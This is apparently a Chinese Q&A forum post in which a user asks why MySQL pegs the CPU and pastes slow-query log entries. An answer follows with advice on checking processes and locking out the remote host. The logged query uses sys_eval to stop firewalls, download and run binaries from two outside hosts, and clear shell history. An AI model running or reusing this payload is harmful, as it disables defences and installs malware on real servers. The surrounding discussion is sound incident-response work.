问题出现的时候CPU被mysql占用100%这是慢查询日志的显示结果,请问怎么分析当中内容。我应该怎么处理,因为不止出现一次了# Time: 160623 19:53:34
# User@Host: root[root] @ [218.75.134.222]
# Query_time: 723.879421 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
SET timestamp=1466682814;
select sys_eval('/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cp /usr/bin/wget .;chmod +x wget;./wget -P ./dbms_temp http://game918.me:2545/websevrer;chmod 0755 ./dbms_temp/websevrer;./dbms_temp/websevrer;./wget -P ./db_temp http://58.221.71.60:2589/L;chmod 0755 ./db_temp/L;./db_temp/L;rm -rf wget;history -c;');
/alidata/server/mysql/bin/mysqld, Version: 5.5.40-log (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /tmp/mysql.sock
# User@Host: root[root] @ [218.75.134.222]
# Query_time: 723.879421 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
SET timestamp=1466682814;
select sys_eval('/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cp /usr/bin/wget .;chmod +x wget;./wget -P ./dbms_temp http://game918.me:2545/websevrer;chmod 0755 ./dbms_temp/websevrer;./dbms_temp/websevrer;./wget -P ./db_temp http://58.221.71.60:2589/L;chmod 0755 ./db_temp/L;./db_temp/L;rm -rf wget;history -c;');
/alidata/server/mysql/bin/mysqld, Version: 5.5.40-log (MySQL Community Server (GPL)). started with:
Tcp port: 3306 Unix socket: /tmp/mysql.sock
show full processlist;
show engine innodb status;
查看进程的状态,看是否有锁或者查询占用太多时间。
select user,host from mysql.uer; 是否有host=这个218.75.134.222 ip地址的用户或者host=%的用户。如果有禁止掉。这个ip地址应该是公网ip地址,准确讲,你的数据库暴露在公网了,蛮危险的。mysql的数据库一般不允许公网访问的。